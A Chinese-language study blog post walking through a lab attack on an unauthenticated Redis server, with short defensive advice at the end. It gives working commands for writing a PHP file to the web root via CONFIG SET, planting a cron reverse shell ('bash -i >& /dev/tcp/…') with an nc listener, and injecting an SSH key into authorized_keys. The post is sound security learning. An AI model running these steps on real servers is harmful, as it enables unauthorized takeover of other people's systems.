目录
1、漏洞原理
2、环境搭建
3、未授权访问
4、利用redis未授权写入weshell
5、利用redis未授权反弹shell
6、利用redis未授权实现免密登录
防御手段
从这篇文章开始我就要开始学习各种未授权访问的知识和相关的实操实验了,一共有好多篇,内容主要是参考先知社区的一位大佬的关于未授权访问的好文章,还有其他大佬总结好的文章:
这里附上大佬的好文章链接:常见未授权访问漏洞总结 - 先知社区
我在这只是学习大佬总结好的相关的知识和实操实验,那么废话不多说,开整。
第一篇是关于Redis的未授权访问,这是一个很长见也是很危险的漏洞
环境配置:
攻击机:Kali 192.168.159.151
服务器:ubuntu 192.168.159.202
1、漏洞原理
redis存在未授权访问漏洞的原因是因为:Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
漏洞环境:
- redis服务绑定在0.0.0.0:6379
- 没有任何策略防护,暴露在公网
- 没有设置密码认证
2、环境搭建
首先就是下载源码包:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
解压、编译
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
成功的启动了redis服务
3、未授权访问
为了方便,在windows攻击机里下载一个redis clinet
下载地址:https://github.com/caoxinyu/RedisClient/releases (利用redis写webshell测试使用)
尝试连接了一下发现报错了:
爆错内容可以看出应该是安全模式开启了
下面就是检查一下漏洞环境:
查看redis的配置文件:
造成未授权访问的配置文件情况:
-
未开启登录验证,并且把IP绑定到0.0.0.0并且
protected-mode
关闭
ip绑定情况:
本身是没有绑定端口的,这设置为绑定0.0.0.0
关闭安全模式:
然后进行连接就可以连接成功了,但是我这里提示redis-server版本过低无法连接:
这里我就不用windows测试了,直接使用kali作为攻击机,这里我的redis环境已经配置完成了
可以看到这里直接在未授权的情况下进入到了192.168.159.202的redis数据库中,既然进入到数据库中就可以查看数据了,但是因为我的这个数据库中没有数据就不演示了
4、利用redis未授权写入weshell
这里尝试进行写入webshell发现一直在报错,在网上找了好多方法也灭有解决,最后我还是决定使用之前搭建的一台centos作为被攻击机,配置与上面的均一致
测试后,可以看到也是未授权访问到了
下面就开始进行webshell上传
这个服务器的主页面路径是/usr/share/nginx/html/
因此执行下列命令:
config set dir /usr/share/nginx/html
config set dbfilename test.php
config set webshell "<?php phpinfo(); ?>"
save
上传完成后,不出意外的话访问ip/test.php就可以看到如上的页面
注:我这里页面访问突然处理点问题,无法解决这里就拿本地文件举个例子
5、利用redis未授权反弹shell
首先在攻击机上监听一个端口:
nc -lvnp 5555
连接redis,反弹shell:
redis-cli.exe -h 192.168.159.200
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168。159.200/5555 0>&1\n\n\n"
config set dbfilename root
save
可以看到成功的反弹了shell
6、利用redis未授权实现免密登录
首先就是在攻击机上创建公私钥文件:
进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:
现在在攻击机上连接靶机上的redis服务,将保存ssh的公钥1.txt写入redis:
远程登录靶机的redis服务:redis-cli -h 192.168.0.104,并使用 CONFIG GET dir 命令得到redis备份的路径:
更改redis备份路径为ssh公钥存放目录,然后设置上传公钥的备份文件名字为authorized_keys,最后检查一下是否更改成功(查看有没有authorized_keys文件):
在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.159.200
可以看到现在就成功的利用私钥成功登录的redis服务器了!!!
防御手段
-
-禁止使用root权限启动redis服务。
-
-对redis访问启动密码认证。
-
-添加IP访问限制,并更改默认6379端口。
到此,redis未授权访问的基础知识和基本实验就演示完毕了,后面有更多的未授权访问知识等着我去学习,下次见(*^▽^*)